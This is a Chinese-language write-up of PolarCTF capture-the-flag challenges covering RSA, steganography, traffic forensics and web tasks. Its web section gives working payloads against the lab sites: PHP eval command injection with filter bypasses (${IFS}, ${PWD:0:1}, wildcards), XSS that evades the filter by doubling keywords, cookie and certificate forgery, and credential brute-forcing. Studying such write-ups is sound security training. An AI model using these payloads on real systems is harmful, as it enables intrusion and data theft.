    t = int((1-2*delta) * m)  # optimization from Herrmann and May
    X = 2*floor(N^delta)  # this _might_ be too much
    Y = floor(N^(1/2))    # correct if p, q are ~ same size

    #
    # Don't touch anything below
    #

    # Problem put in equation
    P.<x,y> = PolynomialRing(ZZ)
    A = int((N+1)/2)
    pol = 1 + x * (A + y)

    #
    # Find the solutions!
    #

    # Checking bounds
    if debug:
        print("=== checking values ===")
        print("* delta:", delta)
        print("* delta < 0.292", delta < 0.292)
        print("* size of e:", int(log(e)/log(2)))
        print("* size of N:", int(log(N)/log(2)))
        print("* m:", m, ", t:", t)

    # boneh_durfee
    if debug:
        print("=== running algorithm ===")
        start_time = time.time()

    solx, soly = boneh_durfee(pol, e, m, t, X, Y)

    # found a solution?
    if solx > 0:
        print("=== solution found ===")
        if False:
            print("x:", solx)
            print("y:", soly)

        d = int(pol(solx, soly) / e)
        print("private key found:", d)
        ##我添加的输出:
        m = pow(c,d,N)
        print(long_to_bytes(int(m)))
        ##
    else:
        print("=== no solution was found ===")

    if debug:
        print(("=== %s seconds ===" % (time.time() - start_time)))

if __name__ == "__main__":
    example()

flag:flag{please-put-this-one-in-sagamath}

Misc

Chinesecode航行国际

思路:

一个压缩包,根据 艺术就是派大星!!!且五子棋只有技能,方格纸不够长可能下四子棋也说不定.txt,猜测密码长度是 4-5 爆破一下,得到 ?@@!

010 发现 汉码国际.exe 这个文件其实是一个压缩包

然后解压出来发现发现文件格式是一个 docx 的文档格式,找到一个 啊啊啊啊啊啊啊啊啊啊啊啊.txt

LJNEB6HYLJNFUWS2IBNFUQHY7D4FUWS2LI=

然后再 word/document.xml,找到 ID4PR6C2LJNEAWSA7D4FUWSAIBAFUWS2ID4PR6HYLJNFUWSAIBAPQWS2

并且文档中有 5 张图片如下,

然后找到对应的码表叫 国际信号旗对应就是,PQWS2

组合起来就是

PQWS2ID4PR6C2LJNEAWSA7D4FUWSAIBAFUWS2ID4PR6HYLJNFUWSAIBAPQWS2LJNEB6HYLJNFUWS2IBNFUQHY7D4FUWS2LI=

base32 解码得到,根据题目找随波逐流中找到解密为 flagispwer

|-- |||--- - ||-- --- ||||---- |---- ||----- -- |||----

flag:flag{flagispwer}

藏在数字里的秘密

思路:

题目给了两个文件 secret.hc 和 flag.txt,内容如下

小明在整理旧物时,意外翻出了一个名为secret.hc的加密容器。传闻这东西来头不简单,是一位自称来自 1111 年 11 月的神秘预言家留下的,里面藏着不为人知的 "数字的秘密",而解锁容器的密码,据说和某个特殊日期紧紧相关。

直接使用 VeraCrypt 挂载一下 secret.hc 即可,密码就是 111111,

但是发送 flag 是错的,然后密码是 secret.hc 创建的时间,也就是 202511,然后挂载成功

有四个文件 flag.zip 被加密了,那肯定要在另外三个文件里面找了

  1. 在 pic.png 图片尾部发现可疑字符 N0ZXJpb3V

  2. note.docx ,先打开隐藏文字

    然后发现可疑字符 SXRfaXNfYV9teX

  3. hide.exe 直接 ida64 打开 shift + f12 ,看到可疑字符,zX2NvZGU=

组合一下 SXRfaXNfYV9teXN0ZXJpb3VzX2NvZGU=,base64 解码得到 It_is_a_mysterious_code,然后 flag.txt 里面全是坐标,猜测每一个坐标就是像素点然后画一张图片

python 复制代码
import matplotlib.pyplot as plt
from PIL import Image, ImageDraw
import numpy as np

coords = [(57, 6), (58, 6), (59, 6), (261, 6), (262, 6), (263, 6), (56, 7), (57, 7), (263, 7), (264, 7), (7, 8), (8, 8), (9, 8), (10, 8), (11, 8), (15, 8), (16, 8), (17, 8), (18, 8), (19, 8), (56, 8), (57, 8), (79, 8), (80, 8), (81, 8), (82, 8), (96, 8), (116, 8), (117, 8), (118, 8), (119, 8), (130, 8), (139, 8), (140, 8), (141, 8), (142, 8), (143, 8), (144, 8), (145, 8), (154, 8), (155, 8), (156, 8), (157, 8), (158, 8), (191, 8), (192, 8), (193, 8), (194, 8), (195, 8), (202, 8), (203, 8), (204, 8), (216, 8), (217, 8), (229, 8), (236, 8), (237, 8), (238, 8), (239, 8), (240, 8), (241, 8), (242, 8), (243, 8), (244, 8), (249, 8), (264, 8), (6, 9), (7, 9), (18, 9), (19, 9), (56, 9), (57, 9), (78, 9), (79, 9), (82, 9), (83, 9), (96, 9), (114, 9), (115, 9), (116, 9), (119, 9), (120, 9), (129, 9), (130, 9), (139, 9), (153, 9), (154, 9), (190, 9), (191, 9), (200, 9), (201, 9), (202, 9), (204, 9), (205, 9), (206, 9), (216, 9), (228, 9), (229, 9), (236, 9), (237, 9), (243, 9), (244, 9), (249, 9), (264, 9), (6, 10), (18, 10), (19, 10), (56, 10), (57, 10), (77, 10), (84, 10), (96, 10), (114, 10), (120, 10), (121, 10), (129, 10), (139, 10), (153, 10), (190, 10), (200, 10), (206, 10), (215, 10), (216, 10), (227, 10), (228, 10), (236, 10), (237, 10), (243, 10), (244, 10), (249, 10), (264, 10), (6, 11), (18, 11), (19, 11), (30, 11), (31, 11), (32, 11), (33, 11), (42, 11), (43, 11), (44, 11), (47, 11), (57, 11), (67, 11), (68, 11), (69, 11), (70, 11), (77, 11), (84, 11), (91, 11), (92, 11), (93, 11), (96, 11), (104, 11), (105, 11), (106, 11), (107, 11), (113, 11), (114, 11), (121, 11), (128, 11), (139, 11), (153, 11), (165, 11), (166, 11), (167, 11), (168, 11), (177, 11), (178, 11), (179, 11), (180, 11), (190, 11), (199, 11), (200, 11), (206, 11), (207, 11), (215, 11), (227, 11), (236, 11), (243, 11), (249, 11), (252, 11), (253, 11), (254, 11), (263, 11), (264, 11), (6, 12), (7, 12), (18, 12), (19, 12), (29, 12), (30, 12), (33, 12), (34, 12), (41, 12), (42, 12), (43, 12), (45, 12), (46, 12), (47, 12), (57, 12), (65, 12), (66, 12), (67, 12), (70, 12), (71, 12), (77, 12), (84, 12), (90, 12), (91, 12), (94, 12), (95, 12), (96, 12), (102, 12), (103, 12), (104, 12), (107, 12), (108, 12), (113, 12), (114, 12), (121, 12), (128, 12), (139, 12), (153, 12), (154, 12), (164, 12), (165, 12), (168, 12), (169, 12), (176, 12), (177, 12), (180, 12), (181, 12), (189, 12), (190, 12), (191, 12), (199, 12), (200, 12), (206, 12), (207, 12), (214, 12), (226, 12), (227, 12), (242, 12), (243, 12), (249, 12), (250, 12), (251, 12), (253, 12), (254, 12), (255, 12), (263, 12), (264, 12), (3, 13), (4, 13), (5, 13), (6, 13), (7, 13), (8, 13), (9, 13), (10, 13), (11, 13), (18, 13), (19, 13), (28, 13), (34, 13), (35, 13), (41, 13), (46, 13), (47, 13), (56, 13), (57, 13), (65, 13), (71, 13), (72, 13), (77, 13), (84, 13), (90, 13), (96, 13), (102, 13), (108, 13), (109, 13), (113, 13), (114, 13), (121, 13), (127, 13), (128, 13), (129, 13), (130, 13), (131, 13), (139, 13), (140, 13), (141, 13), (142, 13), (143, 13), (150, 13), (151, 13), (152, 13), (153, 13), (154, 13), (155, 13), (156, 13), (157, 13), (158, 13), (163, 13), (164, 13), (169, 13), (170, 13), (175, 13), (176, 13), (182, 13), (187, 13), (188, 13), (189, 13), (190, 13), (191, 13), (192, 13), (193, 13), (194, 13), (195, 13), (199, 13), (200, 13), (206, 13), (207, 13), (213, 13), (214, 13), (225, 13), (226, 13), (242, 13), (249, 13), (255, 13), (263, 13), (264, 13), (6, 14), (18, 14), (19, 14), (35, 14), (40, 14), (41, 14), (47, 14), (52, 14), (53, 14), (54, 14), (55, 14), (71, 14), (72, 14), (77, 14), (78, 14), (83, 14), (84, 14), (89, 14), (90, 14), (96, 14), (102, 14), (114, 14), (115, 14), (120, 14), (121, 14), (126, 14), (127, 14), (132, 14), (133, 14), (143, 14), (144, 14), (145, 14), (153, 14), (163, 14), (175, 14), (190, 14), (199, 14), (200, 14), (203, 14), (206, 14), (207, 14), (213, 14), (218, 14), (225, 14), (230, 14), (231, 14), (242, 14), (249, 14), (255, 14), (265, 14), (266, 14), (267, 14), (268, 14), (6, 15), (18, 15), (19, 15), (29, 15), (30, 15), (31, 15), (32, 15), (33, 15), (34, 15), (35, 15), (40, 15), (41, 15), (47, 15), (55, 15), (56, 15), (66, 15), (67, 15), (68, 15), (69, 15), (70, 15), (71, 15), (72, 15), (78, 15), (79, 15), (80, 15), (81, 15), (82, 15), (83, 15), (84, 15), (89, 15), (90, 15), (96, 15), (102, 15), (115, 15), (116, 15), (117, 15), (118, 15), (119, 15), (120, 15), (126, 15), (133, 15), (145, 15), (153, 15), (163, 15), (175, 15), (190, 15), (199, 15), (200, 15), (203, 15), (206, 15), (207, 15), (212, 15), (213, 15), (218, 15), (224, 15), (225, 15), (230, 15), (231, 15), (241, 15), (242, 15), (249, 15), (255, 15), (256, 15), (264, 15), (265, 15), (6, 16), (18, 16), (19, 16), (28, 16), (29, 16), (30, 16), (34, 16), (35, 16), (40, 16), (41, 16), (47, 16), (56, 16), (57, 16), (65, 16), (66, 16), (71, 16), (72, 16), (82, 16), (83, 16), (89, 16), (90, 16), (96, 16), (102, 16), (119, 16), (120, 16), (126, 16), (133, 16), (145, 16), (153, 16), (163, 16), (175, 16), (190, 16), (199, 16), (200, 16), (206, 16), (207, 16), (211, 16), (212, 16), (218, 16), (224, 16), (230, 16), (231, 16), (241, 16), (249, 16), (255, 16), (256, 16), (263, 16), (264, 16), (6, 17), (18, 17), (19, 17), (28, 17), (35, 17), (40, 17), (41, 17), (47, 17), (57, 17), (65, 17), (71, 17), (72, 17), (82, 17), (89, 17), (90, 17), (96, 17), (102, 17), (119, 17), (126, 17), (133, 17), (145, 17), (153, 17), (163, 17), (175, 17), (190, 17), (199, 17), (200, 17), (206, 17), (207, 17), (211, 17), (212, 17), (218, 17), (224, 17), (230, 17), (231, 17), (240, 17), (241, 17), (249, 17), (255, 17), (256, 17), (263, 17), (264, 17), (6, 18), (18, 18), (19, 18), (28, 18), (35, 18), (40, 18), (41, 18), (47, 18), (56, 18), (57, 18), (64, 18), (65, 18), (71, 18), (72, 18), (81, 18), (82, 18), (89, 18), (90, 18), (96, 18), (102, 18), (118, 18), (119, 18), (126, 18), (133, 18), (138, 18), (145, 18), (153, 18), (163, 18), (175, 18), (190, 18), (199, 18), (200, 18), (206, 18), (207, 18), (211, 18), (212, 18), (213, 18), (214, 18), (215, 18), (216, 18), (217, 18), (218, 18), (224, 18), (225, 18), (226, 18), (227, 18), (228, 18), (229, 18), (230, 18), (231, 18), (240, 18), (249, 18), (255, 18), (256, 18), (263, 18), (264, 18), (6, 19), (19, 19), (28, 19), (34, 19), (35, 19), (41, 19), (46, 19), (47, 19), (56, 19), (57, 19), (65, 19), (71, 19), (72, 19), (81, 19), (90, 19), (96, 19), (102, 19), (108, 19), (109, 19), (117, 19), (118, 19), (126, 19), (127, 19), (132, 19), (133, 19), (138, 19), (139, 19), (145, 19), (153, 19), (163, 19), (164, 19), (169, 19), (170, 19), (175, 19), (176, 19), (182, 19), (190, 19), (200, 19), (206, 19), (218, 19), (230, 19), (231, 19), (239, 19), (240, 19), (249, 19), (255, 19), (264, 19), (6, 20), (19, 20), (20, 20), (28, 20), (29, 20), (30, 20), (32, 20), (33, 20), (34, 20), (35, 20), (41, 20), (42, 20), (43, 20), (44, 20), (45, 20), (47, 20), (56, 20), (57, 20), (65, 20), (66, 20), (67, 20), (69, 20), (70, 20), (71, 20), (72, 20), (80, 20), (81, 20), (90, 20), (91, 20), (94, 20), (95, 20), (96, 20), (102, 20), (103, 20), (104, 20), (107, 20), (108, 20), (117, 20), (127, 20), (128, 20), (131, 20), (132, 20), (139, 20), (140, 20), (143, 20), (144, 20), (145, 20), (153, 20), (164, 20), (165, 20), (168, 20), (169, 20), (176, 20), (177, 20), (180, 20), (181, 20), (190, 20), (200, 20), (201, 20), (202, 20), (204, 20), (205, 20), (206, 20), (218, 20), (230, 20), (231, 20), (239, 20), (249, 20), (250, 20), (251, 20), (253, 20), (254, 20), (255, 20), (264, 20), (6, 21), (20, 21), (21, 21), (22, 21), (23, 21), (24, 21), (29, 21), (30, 21), (31, 21), (32, 21), (35, 21), (47, 21), (56, 21), (57, 21), (66, 21), (67, 21), (68, 21), (69, 21), (71, 21), (72, 21), (79, 21), (80, 21), (91, 21), (92, 21), (93, 21), (96, 21), (104, 21), (105, 21), (106, 21), (107, 21), (116, 21), (117, 21), (128, 21), (129, 21), (130, 21), (131, 21), (140, 21), (141, 21), (142, 21), (143, 21), (153, 21), (165, 21), (166, 21), (167, 21), (168, 21), (177, 21), (178, 21), (179, 21), (180, 21), (190, 21), (202, 21), (203, 21), (204, 21), (218, 21), (230, 21), (231, 21), (239, 21), (249, 21), (252, 21), (253, 21), (254, 21), (264, 21), (47, 22), (57, 22), (58, 22), (262, 22), (263, 22), (264, 22), (47, 23), (58, 23), (59, 23), (261, 23), (262, 23), (263, 23), (45, 24), (46, 24), (47, 24), (42, 25), (43, 25), (44, 25), (45, 25)]

max_x = max(x for x, y in coords)
max_y = max(y for x, y in coords)

print(f"画布大小: {max_x+1} x {max_y+1}")

# 创建图像
img = Image.new('RGB', (max_x + 10, max_y + 10), 'white')
draw = ImageDraw.Draw(img)

# 绘制点
for x, y in coords:
    draw.point((x, y), fill='black')

# 保存图像
img.save('output.png')
print("图像已保存为 output.png")

得到 flag

flag:flag{a9dc965fccf0447b}

先有圣人后有天

思路:

使用 010 打开图片,发现脱尾部是有多余的数据的,根据 9E 97 BA 2A 知道是 OurSecret 隐写的特征

发现需要密码,尝试在图片里面找找,查看一下图片信息

这里发现图片的时间有点奇怪,2202:11:12 21:29:40 发现密码就是 22021112,然后把双击这个文件保存下来

然后得到 图图图( )片片片.png 图片,使用 010 打开图片发现报 crc 错误,应该是长宽被修改了

然后得到正常的图片,在图片中发现 flag, megumikatoisfairyinthepainting

flag:flag{megumikatoisfairyinthepainting}

猛攻!

思路:

看官方 wp ,发现用这个工具可以发现隐写的数据,在线图片隐写术工具 - 筱风工具 6DFUP

然后解压压缩包,还有一个流量文件,追踪一下 http 流发现 flag

flag:flag{che_li_cheng_gong}

凯撒5世的IDAT

思路:

先修复一下图片宽高,在图片中发现 IDAT 快有冗余的数据

使用 010 观察发现,根据 png 图像格式知道第一个数据块加了数据,

然后再第一个数据块中找到可疑的数据

kqht{GED6F8GDE3JDM2HED6J3I}

根据题目名字 凯撒5世的IDAT 和 图像名称 5IDATcoag.png,猜测就是凯撒解密,最后在将 co 改成 ag 即可

mode1 #5: flco{BZY6A8BYZ3EYH2CZY6E3D} -- > flag{BZY6A8BYZ3EYH2CZY6E3D}

flag:flag{BZY6A8BYZ3EYH2CZY6E3D}

Source of danger 1

题目:

受害者被病毒感染前浏览的购物网站的网站IP是多少

思路:

过滤一下 http 流,就能发现

flag:flag{192.168.27.15}

Source of danger 2

题目:

受害者被病毒感染前浏览的购物网站时用的什么浏览器,版本号是多少(格式:flag{abc1.2.3.4})

思路:

查看 User-Agent 头

flag:flag{Edge142.0.0.0}

Source of danger 3

题目:

在受害者浏览网站时,浏览过一个商品,它在服务器上所展示图片的名称是138_thumb_G_1763621518921.jpg,该图片上写着什么

思路:

导出 http 对象,可以发现这张图片

flag:flag{ChatGPT}

Source of danger 4

题目:

编写该病毒用到的库的版本号是多少(格式:0.0.0)

思路:

依旧看 User-Agent,发现 python-requests 的版本是 2.32.5

flag:flag{2.32.5}

Source of danger 5

题目:

木马程序获得的信息中,涉及到哪个网站(格式:flag{完整url})

思路:

最后有一个 upload.php ,发现网站

flag:flag{http://192.168.27.15/source/ecshop/admin/privilege.php}

Virtual_currency 1

题目:

通过网盘分享的文件:题目.zip 链接: https://pan.baidu.com/s/1L1iE_q7Nmhw3UmFyv_L1ag?pwd=en7n 提取码: en7n --来自百度网盘超级会员v4的分享 我用夸克网盘给你分享了「题目.zip」,点击链接或复制整段内容,打开「夸克APP」即可获取。 /~fc2d39RFni~:/ 链接:https://pan.quark.cn/s/91c01aa58de3 提取码:qAwz

背景:huanglei 是一个计算机天才,最喜欢的日子是世界第一台计算机创建的日子并喜欢将其当作密码,最近迷上了炒虚拟货币,但是由于太痴迷导致都花没了,于是他编写了一个木马,引诱矿仔帮他挖矿虚拟货币的名称是什么

思路:

根据提示密码是 世界第一台计算机创建的日子,那就是 ENIAC(埃尼阿克)首次公开运行的日期------1946年2月14日,19460214

nmap 扫描发现开了 22 端口,ssh 连接一下

python 复制代码
ssh huanglei@192.168.23.146
19460214

可以先使用这个工具检查一遍

python 复制代码
git clone https://github.com/al0ne/LinuxCheck.git
cd LinuxCheck/
chmod u+x LinuxCheck.sh
sudo ./LinuxCheck.sh

没发现发现啥,再把目录下的文件拷下来,在自己的主机上分析一下

python 复制代码
tar -czf aaa.tar.gz polar

在自己 win 机器上执行

python 复制代码
scp huanglei@192.168.23.146:~/polar.tar .
scp huanglei@192.168.23.146:~/aaa.tar.gz .

在 html 文件中发现虚拟货币的名称

flag:flag{Polar币}

Virtual_currency 2

题目:

黑客的地址是多少

思路:

在导出的 polar 文件夹中有个 logs 日志文件,然后找到可以的地址

flag:flag{9598f90b557fdf01558f9061c09195647f3ca9261264485319279e1da7a7ac48}

Virtual_currency 3

题目:

黑客和客户使用的中间账号地址是多少

思路:

拉倒日志最后面发现最后一条是黑客地址,尝试一下上面的地址,发现就是中间账号地址

flag{9004ddca99ff4aa70ef6cd27d2f3b81103c25d33c1384549a4f3bb0fdc035ef4}

Virtual_currency 4

题目:

客户的IP是多少

思路:

提交一下黑客和客户使用的中间账号地址的那个 ip,就是客户的 ip,而 192.168.192.1​ 和 192.168.192.129 则执行了创建交易和查询余额

flag:flag{192.168.192.129}

Virtual_currency 5

题目:

黑客植入矿机的木马是什么(包含后缀)

思路:

直接使用 CurrPorts 发现可疑的进程

flag:flag{polarCTF.exe}

Web

PolarShop

思路:

f12 审计代码发现 setPoints 这个函数可以设置积分

python 复制代码
        // 设置积分函数
        async function setPoints(points) {
            try {
                const response = await fetch('api.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                    },
                    body: `action=set_points&new_points=${points}`
                });
                
                const data = await response.json();
                
                if (data.success) {
                    document.getElementById('points').textContent = data.points;
                    showNotification(`积分已设置为 ${data.points}`, 'success');
                } else {
                    showNotification(data.message || '设置积分失败!', 'error');
                }
            } catch (error) {
                console.error('Error:', error);
                showNotification('网络错误,请稍后重试!', 'error');
            }
        }
        

先调用函数将积分设置成 9999

python 复制代码
setPoints(9999); 

先后买一下前面 3 个东西

有一个 shop_bill.txt 文件,感觉是一个密码字典,扫描一下网站

python 复制代码
python dirsearch.py -u http://a1fe9265-e68f-4188-8ef0-4db1630dc93a.game.polarctf.com:8090/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://a1fe9265-e68f-4188-8ef0-4db1630dc93a.game.polarctf.com:8090/

[13:56:25] Scanning:
[13:56:32] 200 -    3KB - /admin.php
[13:56:36] 200 -    60B - /api.php
[13:56:39] 200 -     0B - /config.php
[13:56:41] 200 -    42B - /download.php
[13:56:44] 200 -   22KB - /index.html
[13:56:50] 403 -   319B - /server-status
[13:56:50] 403 -   319B - /server-status/

Task Completed

爆破一下账号密码,

username=Squirtle&password=5qu1rtle

然后抓一下查看秘密的数据包,将 user 改成 Squirtle 就能看到 flag

python 复制代码
POST /api.php HTTP/1.1
Host: a1fe9265-e68f-4188-8ef0-4db1630dc93a.game.polarctf.com:8090
Priority: u=0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://a1fe9265-e68f-4188-8ef0-4db1630dc93a.game.polarctf.com:8090/admin_dashboard.php
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=rq6ahvsi566nairn37m37m6e3h; user=Squirtle
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: */*
Origin: http://a1fe9265-e68f-4188-8ef0-4db1630dc93a.game.polarctf.com:8090
Content-Length: 18

action=view_secret

flag:flag{d104c607a29d48eb99f2eece12281a7f}

cookie欺骗2.0

思路:

先试用测试账号登录

进入管理员界面,提示 你已成功绕过验证,但你不是管理员!很明显要利用 admin 用户登录,

尝试将 Cookie​ 中的 user 修改成 admin,发现也不行

发现 hfre1,好像是 user1 加密了,解密一下使用的事 rot13 。

python 复制代码
user=admin; auth=nqzva;

flag:flag{80424ffd15b0b051203d05b47b7c8637}

uii

题目:

源码可以看到答案,输入拿铁看到题目

python 复制代码
<?php

if (isset($_GET["uii"]) && $_GET["uii"] === "Yzz") {

    echo "不正确";

    exit();

}

if (isset($_GET["uii"])) {

    $_GET["uii"] = urldecode($_GET["uii"]); 

    if ($_GET["uii"] == "Yzz") {

        echo "提交正确!!!";

        echo "Flag:   ";

        exit(); 

    }

} else {

    echo " ";

}

?>

构造payload的关键是对Yzz进行两次URL编码:

  1. 第一次编码:Y -> %59z -> %7a,得到%59%7a%7a
  2. 第二次编码(对第一次编码的结果进行编码):% -> %255 -> %359 -> %39% -> %257 -> %37a -> %61,等等。最终得到%25%35%39%25%37%61%25%37%61
python 复制代码
?uii=%25%35%39%25%37%61%25%37%61

flag:flag:{23dhw38wr98034dfz}

help

思路:

直接审计 js 源码即可

flag:flag{wo_ai_gua_zi}

来个弹窗2.0

思路:

审计源码能发现,触发了 alert 就能得到 flag

利用 img 触发 xss 即可 <img src=x οnerrοr=alert(1)>

找到 海贼王人物档案:为朋友绽放的人妖之道------冯·克雷 - 今日头条,就是 本萨姆

flag:flag{0735987a1391de965a0717fc7c4f6a1a}

论坛

思路:

拿到源码:

python 复制代码
 <?php
show_source(__FILE__);
//尝试查看tips中的内容吧;
require_once 'wf.php';

$rce = @$_REQUEST['cmd'];  
$filter_result = safe_filter($rce);
if (!$filter_result['status']) {
    exit; 
}

$safe_rce = $filter_result['data'];
eval("var_dump($safe_rce);"); 
?>

可以尝试闭合 var_dump 这个函数,后面去执行 system 函数,测试发现,cat 和空格都被过滤了

payload:

python 复制代码
cmd=);system('tac${IFS}tips*'

拿到提示,没啥思路,然后 dirsearch 扫描到一个 forum.php,其实就是论坛

python 复制代码
python dirsearch.py -u http://81c1480c-6a3f-4745-acf4-b14d60cfad3f.game.polarctf.com:8090

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://81c1480c-6a3f-4745-acf4-b14d60cfad3f.game.polarctf.com:8090/

[13:06:24] Scanning:
[13:06:40] 200 -   14KB - /forum.php
[13:06:42] 200 -   13KB - /index.php
[13:06:42] 200 -   13KB - /index.php/login/
[13:06:48] 403 -   319B - /server-status/
[13:06:48] 403 -   319B - /server-status

访问 /forum.php,发现输入框存在 xss 漏洞,"> <",直接把两边给闭合了

然后利用 html 的 img 标签尝试能不能触发 xss,"><img src=x onerror="alert(1)"><",能发现其实 img 标签已经插入成功了,但是 img 中的 src 和 x 都没了,

然后尝试双写一下关键字,发现就能成功插入了,"><img ssrcrc=x onerror="alert(1)"><"

解释:(Image onerror 事件 | 菜鸟教程

img 标签中的 onerror,src 属性是用来绑定一张图片的,当图像加载过程中发生错误时就会触发 onerror 事件,然而 onerror 事件中可以包含 JavaScriptCode, 就能导致 xss 漏洞了

后面有测试了一下使用 a 标签,发现过滤了 a 标签中的 href​ 和 script,构造如下

python 复制代码
"><a hrhrefef="javascscriptript:alert(1)">flag</a><"

怎么测试:输入 payload,发现哪几个单词没了就说明被过滤了

变成了正常的 xss payload ,<a href="javascript:alert(1)">

然后点击确定就会自动跳转到 /ffff1@g.php

flag:flag{910f770a0ad033b4d028dc14a6f03ff8}

金币大挑战

思路:

题目说到了 21 个金币就能进入下一关,但是到了 20 就点不了,发现是 js 代码控制了,到了 20 金币就禁止了按钮

然后直接在控制台修改一下这个函数即可,在点一下就通过了这关

python 复制代码
function addCoin() {
    document.getElementById('coinForm').action = 'index.php';
    document.getElementById('actionInput').value = 'add_coin';
    document.getElementById('coinForm').submit();
    return true;
}

在最下面发现有个压缩包下载一下

里面有个文件提示存纯数字,爆破一下,得到密码,拿到秘密文件内容是,Squirtle1170

然后没啥信息了扫描一下目录,

python 复制代码
python dirsearch.py -u http://2f52ff19-34e7-4d17-9ab9-438389336a4f.www.polarctf.com:8090/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://2f52ff19-34e7-4d17-9ab9-438389336a4f.www.polarctf.com:8090/

[23:27:47] Scanning:
[23:28:13] 301 -   397B - /css  ->  http://2f52ff19-34e7-4d17-9ab9-438389336a4f.www.polarctf.com:8090/css/
[23:28:15] 200 -    6KB - /forum.php
[23:28:17] 200 -    2KB - /index.php
[23:28:17] 200 -    2KB - /index.php/login/
[23:28:35] 403 -   318B - /server-status/
[23:28:35] 403 -   318B - /server-status
[23:28:41] 200 -     0B - /upload.php
[23:28:42] 403 -   318B - /uploads/
[23:28:42] 301 -   401B - /uploads  ->  http://2f52ff19-34e7-4d17-9ab9-438389336a4f.www.polarctf.com:8090/uploads/

然后根据论坛上的信息,猜测因该是上传了一个木马文件到服务器,密码应该就是 Squirtle1170,但是不知道文件是啥,这里收集到 3 个名字,尝试一下发现是 Squirtle.php

huanglei,Squirtle,gouheizi

flag:flag{a9ba1f50c526df75b34bad53db1564c0}

polarflag

思路:

dirsearch 扫描一下,发现一个 flag.txt

python 复制代码
[17:45:45] Scanning:
[17:46:15] 200 -   448B - /flag.txt
[17:46:16] 200 -    3KB - /index.php
[17:46:16] 200 -    3KB - /index.php/login/
[17:46:29] 403 -   318B - /server-status/
[17:46:29] 403 -   318B - /server-status

发现一段 php 代码 $result = replaceString($orginal, $ne1w); 修复一下这行,替换成正确的变量,然后 echo 输出衣

python 复制代码
<?php
$original = "flag{polar_flag_in_here}";


$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101];
$new = "";
foreach ($ascii_codes as $code) {
    $new .= chr($code);
}


function replaceString($original, $new) {
    $temp = str_replace("flag{", "the_", $original);
    $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp);
    return $temp;
}

$result = replaceString($original, $new);

echo $result . "\n";
echo "flag{polar_flag_in_here}";
?>

输出:the_username_is_polar,知道了用户名 polar,爆破密码得到 6666。

python 复制代码
 <?php
error_reporting(0);
session_start();
if(isset($_GET['logout'])){
    session_destroy();
    header('Location: index.php');
    exit();
}
// 初始化会话变量
if(!isset($_SESSION['collision_passed'])) {
    $_SESSION['collision_passed'] = false;
}
//想赢的人脸上是没有笑容的 
if(isset($_POST['a']) && iset($_POST['b'])) {
    if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo "MD5 不错不错 \n";
        $_SESSION['collision_passed'] = true;
    } else {
        echo "MD5 你不行啊\n";
        $_SESSION['collision_passed'] = false;
    }
}


if(isset($_GET["polar"])){
    if($_SESSION['collision_passed']) {
        if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){
           echo "gun gun !";
        } else {
            echo "polar polar !";
            system($_GET["polar"]);
        }
    } else {
        echo "回去吧,这块不要了\n";
    }
} else {
    show_source(__FILE__);
    echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">回家喽</a>';
}
?>


回家喽

第一关利用数组就能绕过,然后就是查看一下根目录下的文件 可以使用如下绕过

python 复制代码
ls${IFS}${PWD:0:1}

斜杠 / ​:被过滤。可以使用 ${PWD:0:1} 替代。

  • $PWD 是当前路径(例如 /var/www/html)。
  • ${PWD:0:1} 表示截取该字符串的第 0 位开始的 1 个字符,即 /。

然后可以利用 sort 和 rev 读取 flag

黑名单过滤了 ​fl,所以我们不能直接写 polarflag。

  • 绕过方法 :使用通配符 ? 。polarflag 可以写成 polar??? (匹配 polar 后面跟 4 个任意字符,刚好匹配 flag)。或者 polar??ag
python 复制代码
sort${IFS}${PWD:0:1}polar??ag
rev${IFS}${PWD:0:1}polar??ag

flag:flag{polarctf1314inwebgame}

证书

思路:

先注册登录,然后利用下载的证书进行登录,然后进入后发现 💡 提示: 尝试在客服聊天中使用特定获取密钥来触发自动获取Base64表功能。就是要想办法在下面的对话框中找到 Base64表

然后 dirsearch 扫描一下,发现有个 flag.txt,是一大串数据

尝试 flag.txt 的内容发送过去,然后得到一个 Base64 表

然后就是尝试构造一个有管理员权限的证书,首先分析 validation_tag​,将其用自定义 Base64 解码后得到 aaa|user​,说明 validation_tag 的格式是 username|role

尝试直接修改 role 为 admin 并重新编码 validation_tag,但验证失败。分析发现证书还有 signature 字段,是对 data 部分的 RSA 签名。

关键发现:签名验证使用的是证书内部的 public_key,而不是服务端固定的公钥。这意味着我们可以自己生成密钥对,用私钥签名,把公钥放进证书里,服务端就会用我们的公钥验证我们的签名。

php 复制代码
import json
import base64
import datetime
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend

# 自定义Base64表
CUSTOM_TABLE = "w6pnYgS41IX+TlWs3or7vcDMBRqzudi9P5GmCh/bN8ytZAjeUax2HLQJE0KVFkfO"
STANDARD_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

# 自定义Base64编码
def custom_b64_encode(data):
    if isinstance(data, str):
        data = data.encode('utf-8')
    encoded = base64.b64encode(data).decode('ascii')
